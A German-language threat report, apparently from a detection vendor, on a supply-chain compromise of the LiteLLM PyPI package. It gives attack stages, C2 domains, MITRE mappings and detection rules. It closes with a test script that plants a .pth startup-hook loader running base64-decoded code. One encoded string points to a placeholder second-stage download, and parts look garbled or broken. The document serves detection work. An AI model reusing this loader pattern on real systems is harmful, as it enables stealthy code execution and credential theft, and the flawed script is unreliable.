SOC Prime Bias: Kritisch

06 Apr. 2026 17:33

Ihr AI-Gateway war eine Hintertür: Im Inneren des LiteLLM-Lieferkettenkompromisses

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Ihr AI-Gateway war eine Hintertür: Im Inneren des LiteLLM-Lieferkettenkompromisses
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein Lieferkettenangriff traf das weit verbreitete Python-Paket LiteLLM auf PyPI. Bösartige Releases 1.82.7 und 1.82.8 lieferten eine dreistufige Nutzlast, die darauf ausgelegt war, Cloud-Anmeldeinformationen, SSH-Schlüssel und Kubernetes-Geheimnisse zu stehlen, dann innerhalb der Cluster zu pivotieren und ein dauerhaftes Hintertürchen zu etablieren. Die Aktivität wird der kriminellen Gruppe TeamPCP zugeschrieben und scheint mit früheren Kompromittierungen in Verbindung zu stehen, an denen Sicherheitstools wie Trivy und Checkmarx beteiligt waren.

Untersuchung

Ermittler verknüpften die Eindringkette mit einer kompromittierten Trivy-GitHub-Aktion, die ein persönliches Zugriffstoken offenlegte, was das erzwungene Pushen infizierter LiteLLM-Versionen auf PyPI ermöglichte. Code-Review deckte einen geschichteten, stark auf Base64 setzenden Python-Loader auf, der RSA-4096 und AES-256 zur geschützten Staging und Exfiltration auf angreifergesteuerte Domänen verwendete. Die Nutzlast erstellte außerdem Kubernetes-Pods, um auf das Dateisystem des Hosts zuzugreifen und die Sammlung auszuweiten. Wiederverwendete Infrastruktur über PyPI, npm, Docker Hub, GitHub Actions und OpenVSX deutete auf eine koordinierte, multiökosystemische Kampagne hin, statt auf ein isoliertes Paket-Hijacking.

Minderung

Blockieren Sie die identifizierten bösartigen Domains, ändern Sie alle potenziell offengelegten Anmeldeinformationen und entfernen Sie LiteLLM_init.pth-Artefakte. Suchen Sie nach Persistenz durch die sysmon.service systemd-Benutzereinheit und untersuchen Sie unerwartete .pth-Dateierstellungen. Reduzieren Sie die Lieferkettenexposition, indem Sie hash-verifizierte Installationen erzwingen, unüberprüfte Post-Install-Bedingungen begrenzen oder verbieten und Egress-Filterung anwenden. Wo möglich, fügen Sie JARM-Fingerabdrucküberwachung hinzu, um Traffic im Zusammenhang mit bekannten kugelsicheren Hosting-ASNs zu melden.

Reaktion

Wenn ein Kompromiss vermutet wird, isolieren Sie betroffene Systeme, beenden Sie bösartige Python-Prozesse und entfernen Sie die trojanisierten LiteLLM-Pakete zusammen mit allen Persistenzdateien. Drehen Sie alle gesammelten Geheimnisse sofort um, wobei Cloud-Anmeldedaten und LLM API-Schlüssel Priorität haben. Setzen Sie Erkennungen für Base64-kodierte Python-Ausführungsketten, .pth-Datei-Drops und anomale HTTPS-POST-Aktivitäten zu models.litellm.cloud oder checkmarx.zone ein.

Schlüsselwörter: LiteLLM, Lieferkettenangriff, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes-Geheimnisse, .pth-Persistenz, Anmeldediebstahl, RSA-4096, AES-256, Egress-Filterung, JARM-Fingerabdruckerkennung.

"graph TB %% Abschnitt der Klassendefinitionen classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Abschnitt der Knotendefinitionen action_initial_supply_chain["<b>Action</b> – <b>T1195.001 Kompromittierung von Softwareabhängigkeiten und Entwicklungstools</b><br/>Gegner erhielt Aqua Security Bot-Token über kompromittierten Trivy GitHub Action Workflow"] class action_initial_supply_chain action tool_trivy_github_action["<b>Tool</b> – <b>Name</b>: Trivy GitHub Action<br/><b>Beschreibung</b>: CI-Workflow zum Scannen von Container-Images"] class tool_trivy_github_action tool process_publish_malicious["<b>Prozess</b> – Veröffentlichen bösartiger LiteLLM-Releases auf PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Technik</b> – <b>T1195.002 Kompromittierung der Softwarelieferkette</b><br/>Bösartige LiteLLM-Versionen 1.82.7 und 1.82.8 auf PyPI gepusht"] class technique_supply_chain_attack technique technique_python_execution["<b>Technik</b> – <b>T1059.006 Befehl- und Skript-Interpreter: Python</b><br/>.pth-Datei wird beim Start des Interpreters automatisch geladen"] class technique_python_execution technique file_pth["<b>Datei</b> – LiteLLM_init.pth<br/>Platziert in siteu2011packages, autou2011geladen durch Python-Interpreter"] class file_pth file technique_user_execution["<b>Technik</b> – <b>T1204.002 Benutzerausführung: Bösartige Datei</b><br/>`pip install LiteLLM==1.82.8` löst sofortige Nutzlastausführung aus"] class technique_user_execution technique technique_credential_harvest["<b>Technik</b> – <b>T1552.001 Anmeldedaten in Dateien</b><br/>Sammler liest SSH-Schlüssel, Cloud-Konfigurationen, .env-Dateien, Datenbank-Anmeldedaten, Kryptowährungs-Wallets"] class technique_credential_harvest technique technique_metadata["<b>Technik</b> – <b>T1552.005 Unverschlüsselte Anmeldedaten: API für Metadaten von Cloud-Instanzen</b><br/>Abfragen von AWS-, GCP- und Azure-Metadienstleistungen für temporäre IAM-Tokens"] class technique_metadata technique technique_os_cred_dump["<b>Technik</b> – <b>T1003 Betriebssystem-Anmeldedaten-Dumping</b><br/>Liest /etc/shadow und Authentifizierungsprotokolle für Anmeldedaten"] class technique_os_cred_dump technique technique_obfuscation["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Mehrere Base64-Schichten, binäre Auffüllung, beschnittene Nutzlasten, dynamische API-Auflösung, AESu2011256u2011CBC-Verschlüsselung, RSAu20114096-Wrapper"] class technique_obfuscation technique technique_exfiltration["<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/>Verschlüsselte Anmeldepakete über HTTPS POST an models.litellm.cloud gesendet"] class technique_exfiltration technique technique_web_service["<b>Technik</b> – <b>T1102.001 Webdienst: Dead Drop Resolver</b><br/>Hintertür ruft checkmarx.zone/raw für zweitou2011stufige Nutzlasten ab und meldet Status"] class technique_web_service technique technique_persistence["<b>Technik</b> – <b>T1543.002 Erstellen oder Modifizieren eines Systemprozesses: Systemd-Dienst</b><br/>Benutzeru2011Ebene sysmon.service installiert für Persistenz über Neustarts hinweg"] class technique_persistence technique technique_container_lateral["<b>Technik</b> – <b>T1543.005 Erstellen oder Modifizieren eines Systemprozesses: Container-Dienst</b><br/>Privilegierte Kubernetes-Pods erstellt mit Zugriff auf das Dateisystem des Hosts für clusteru2011weite Seitwärtsbewegung"] class technique_container_lateral technique technique_remote_services["<b>Technik</b> – <b>T1133 Externe Remote-Dienste</b><br/>Persistierte Hintertür ermöglicht entfernte Befehlsausführung durch C2-Poller"] class technique_remote_services technique technique_defense_evasion["<b>Technik</b> – <b>T1140 Entschleiern/Dekodieren von Dateien oder Informationen</b><br/>Laufzeit-Dekodierung von multiu2011schichtigen Nutzlasten vermeidet statische Erkennung"] class technique_defense_evasion technique %% Verbindungen Abschnitt action_initial_supply_chain –>|nutzt| tool_trivy_github_action tool_trivy_github_action –>|führt zu| process_publish_malicious process_publish_malicious –>|resultiert in| technique_supply_chain_attack technique_supply_chain_attack –>|ermöglicht| technique_python_execution technique_python_execution –>|lädt| file_pth file_pth –>|löst aus| technique_user_execution technique_user_execution –>|verursacht| technique_credential_harvest technique_credential_harvest –>|führt auch aus| technique_metadata technique_metadata –>|kombiniert mit| technique_os_cred_dump technique_os_cred_dump –>|verschleiert durch| technique_obfuscation technique_obfuscation –>|führt zu| technique_exfiltration technique_exfiltration –>|nutzt| technique_web_service technique_web_service –>|etabliert| technique_persistence technique_persistence –>|ermöglicht| technique_container_lateral technique_container_lateral –>|unterstützt| technique_remote_services technique_remote_services –>|ermöglicht| technique_defense_evasion "

Angriffsfluss

Erkennungen

Wahrscheinliche Datei-Verschlüsselung oder -Entschlüsselung mit OpenSSL [Linux] (via cmdline)

SOC Prime Team
31. März 2026

Archiv wurde im Linux-Temp-Ordner erstellt (via file_event)

SOC Prime Team
31. März 2026

Verdächtige CURL-Nutzung (via cmdline)

SOC Prime Team
31. März 2026

Archiv wurde im MacOS-Temp-Ordner erstellt (via file_event)

SOC Prime Team
31. März 2026

Wahrscheinliche Datei-Verschlüsselung oder -Entschlüsselung mit OpenSSL [MacOS] (via cmdline)

SOC Prime Team
31. März 2026

Mögliche sitespezifische Konfigurations-Hook-Datei wurde erstellt (via file_event)

SOC Prime Team
31. März 2026

Bösartige Python-Pakete IOCs (via cmdline)

SOC Prime Team
31. März 2026

Verdächtiger Curl-Ausführungsversuch [MacOS] (via cmdline)

SOC Prime Team
31. März 2026

Dienstdatei-Erstellung im Systemd-Ordner (via file_event)

SOC Prime Team
31. März 2026

IOCs (DestinationIP) zum Erkennen: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise

SOC Prime AI Regeln
31. März 2026

IOCs (SourceIP) zum Erkennen: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise

SOC Prime AI Regeln
31. März 2026

Bösartiges LiteLLM-Paket erkannt via .pth-Datei und subprocess.Popen-Nutzung [Linux-Prozess-Erstellung]

SOC Prime AI Regeln
31. März 2026

Exfiltration und C2-Kommunikation via bösartige Domänen im LiteLLM-Lieferkettenangriff [Firewall]

SOC Prime AI Regeln
31. März 2026

Simulation Ausführung

Voraussetzung: Die Telemetrie & Baseline Pre‑flight Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Detektionslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffsbericht & Befehle:
    Ein Angreifer, der die Öffentlichkeit kompromittiert hat LiteLLM PyPI-Paket injiziert ein bösartiges .pth Datei namens LiteLLM_init.pth. Die Datei wird im globalen site-packages-Verzeichnis platziert, wodurch sichergestellt wird, dass sie jedes Mal verarbeitet wird, wenn any der Python-Interpreter startet. Der .pth enthält eine einzelne Zeile, die eine base64-kodierte Nutzlast über subprocess.Popenausführt. Die Nutzlast lädt ein zweistufiges Tool von einem C2-Server über HTTPS herunter (T1071.001) und schreibt gestohlene Anmeldeinformationen in /tmp/creds.txt (T1552.*). Durch die Verwendung des Interpreters-Start-Hooks erreicht der Angreifer Persistenz, ohne Systemd-Einheiten zu modifizieren, und umgeht viele traditionelle Prozess-Erstellungsgrundlinien.

    Die simulierten Schritte sind:

    1. Erstellen Sie die bösartige .pth Datei mit eingebetteten Python-Code.
    2. Lösen Sie den Python-Interpreter-Start aus (z.B. python3 -c "import sys"), was dazu führt, dass die .pth ausgeführt wird.
    3. Der eingebettete Code dekodiert die base64-Nutzlast und startet sie mit subprocess.Popen, wodurch ein Prozess generiert wird, dessen Befehlszeile sowohl LiteLLM_init.pth (vom Interpreter-Importpfad) als auch subprocess.Popen.
  • Regressionstestskript:
    Das untenstehende Skript automatisiert die gesamte Angriffssimulation auf dem Ubuntu-Testhost.

    #!/usr/bin/env bash
    set -euo pipefail
    
    # ---------- 1. Erstellen der bösartigen .pth Nutzlast ----------
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHuwcm9jZXNzLnBvcGVuKG5hbWU9c291cmNlLCBzaGVsbF9wYXRoPSIvYmluP2Nob3ciLCBjbGFzcz1mdW5jdGlvbigpIHt9KXNzZXRlcnQmQ2xvcmVkKHNzZXQpfSk="
    # Das obenstehende dekodiert zu einem kleinen Python-Skript, das eine zweistufige Nutzlast herunterladen würde.
    # Für die Sicherheit in einer Testumgebung ersetzen wir es durch ein harmloses Echo-Kommando.
    PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo bösartig ausgeführt >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
    
    # Schreiben der .pth-Datei – die Zeile wird beim Start des Interpreters als Python-Code ausgeführt
    echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
    
    echo "[+] Bösartige .pth-Datei erstellt bei ${MALICIOUS_PTH_PATH}"
    
    # ---------- 2. Auslösen des Start des Interpreters (generiert Telemetrie) ----------
    echo "[+] Python-Interpreter zwingen die .pth zu laden..."
    python3 -c "import sys; print('auslösen')"
    
    # ---------- 3. Überprüfen, dass die Nutzlast ausgeführt wurde ----------
    if grep -q "bösartig ausgeführt" /tmp/malicious.log; then
      echo "[+] Nutzlast erfolgreich ausgeführt – Erkennung sollte anschlagen."
    else
      echo "[-] Nutzlast wurde NICHT ausgeführt – Überprüfen Sie die Platzierung und Berechtigungen der .pth."
    fi
  • Bereinigungskommandos:

    #!/usr/bin/env bash
    set -euo pipefail
    
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    
    # Entfernen der bösartigen .pth-Datei
    if sudo test -f "${MALICIOUS_PTH_PATH}"; then
        sudo rm -f "${MALICIOUS_PTH_PATH}"
        echo "[+] Bösartige .pth-Datei entfernt."
    fi
    
    # Löschen der Beweisdaten-Datei, die von der Nutzlast erstellt wurde
    if test -f "/tmp/malicious.log"; then
        sudo rm -f "/tmp/malicious.log"
        echo "[+] /tmp/malicious.log bereinigt."
    fi
    
    # Entfernen der Auditregel (falls Sie eine dedizierte Testrichtlinie hinzugefügt haben)
    # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation